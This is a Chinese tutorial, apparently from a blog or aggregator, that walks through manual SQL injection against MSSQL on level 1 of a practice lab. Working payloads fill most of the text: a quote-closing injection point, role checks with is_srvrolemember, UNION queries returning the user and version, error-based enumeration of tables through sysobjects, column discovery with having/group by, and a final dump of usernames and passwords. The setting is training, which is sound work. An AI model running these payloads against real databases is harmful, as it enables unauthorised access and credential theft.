当前位置: 首页 > news >正文

MSSQL 手工注入(第一关)

简介

     SQL注入是一种安全漏洞,通过它可以执行意外的SQL命令或访问数据库中的信息。MSSQL注入通常发生在应用程序将用户输入作为SQL查询的一部分执行时,而没有对输入进行适当的验证或清理。

以下是MSSQL手工注入的流程:

一、打开靶场选择第一关

二、确定注入点

测试不同的闭合方式

这里确定为 id=1' --+

三、判断注入点权限

select is_srvrolemember('sysadmin'); 判断当前是否为 sa

select is_srvrolemember('db_owner'); 判断当前⽤户写⽂件、读⽂件的权限

select is_srvrolemember('public'); 判断是否有 public 权限,可以爆破表

 ' and exists(select is_srvrolemember('sysadmin'))--   判断当前是否为 sa

或 ' and (select is_srvrolemember('sysadmin'))>0--  判断当前是否为 sa

' and (select is_srvrolemember('db_owner'))>0--  判断当前⽤户写⽂件 / 读⽂件的权限

四、查询数据库信息

user: 查询⽤户

db_name(): 查询数据库名

@@version: 查询版本信息

使用语句 ?id=-1'union select 1,user,is_srvrolemember('public');--+  查询用户

使用语句 ?id=-1'union select 1,@@version,is_srvrolemember('public');--+  查询版本信息

五、查询表名

1、查询第一个表名

使用语句  'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--

2、查询第二个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--

3、查询第三个表名

使用语句  -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--

4、查询第四个表名

使用语句     -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--

5、查询第五个表名

使用语句   -1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referers')--

结果为空,则共有四个表

六、确定字段信息

1、确定第一个字段为id

使用语句   'having 1=1--

2、确定第二个字段为username

使用语句  'group by id having 1=1--

3、确定第三个字段为password

使用语句   'group by id ,username having 1=1--

使用语句   'group by id ,username,password having 1=1--

最终确定只有三个字段

七、确定字段内容

1、查询字段数据

1'order by 3-- // 回显正常

1'order by 4-- // 回信错误 #

2、回显存在内容的字段

使用语句   -1'union select 1,2,3 from users--

确定为 2、3

3、 查询字段内容

使用语句   -1' union select 1,username,password from users--+

安全

网络安全靠人民,网络安全为人民 


http://www.mrgr.cn/news/9131.html

相关文章:

  • 通过Python绘制不同数据类型适合的可视化图表
  • 鸿蒙Harmony实战:常用命令交互工具—“hvigorw”
  • 前后端传输加密
  • 无人机技术的最新进展及未来趋势
  • 掌握CSS的@import:跨文件样式的艺术
  • 【unity小技巧】获取免费开源的人物模型,并为obj fbx人物模型绑定骨骼、动画——mixamo的使用介绍
  • 中仕公考怎么样?2025年国考现在准备来得及吗?
  • 【Rust光年纪】构建跨语言桥梁:深度解析Rust FFI绑定生成器及其应用
  • 聚鼎科技:怎么做装饰画更受大众好评
  • 广告接入相关
  • 【C语言进阶】深入C语言指针:基础到进阶的跨越
  • 五、前后端分离通用权限系统(5)
  • idea debug 各个步骤含义
  • 在线BLOG网
  • AI创业的77个方向
  • LeetCode 热题100-69 有效的括号
  • 创意无限,思维升级:2024年思维导图软件新趋势与精选推荐
  • CentOS(7.x、8)上安装EMQX教程
  • flink读写案例合集
  • 【KivyMD 应用程序 1.1.1】MDBottomNavigation TabbedPanelBas选项卡底座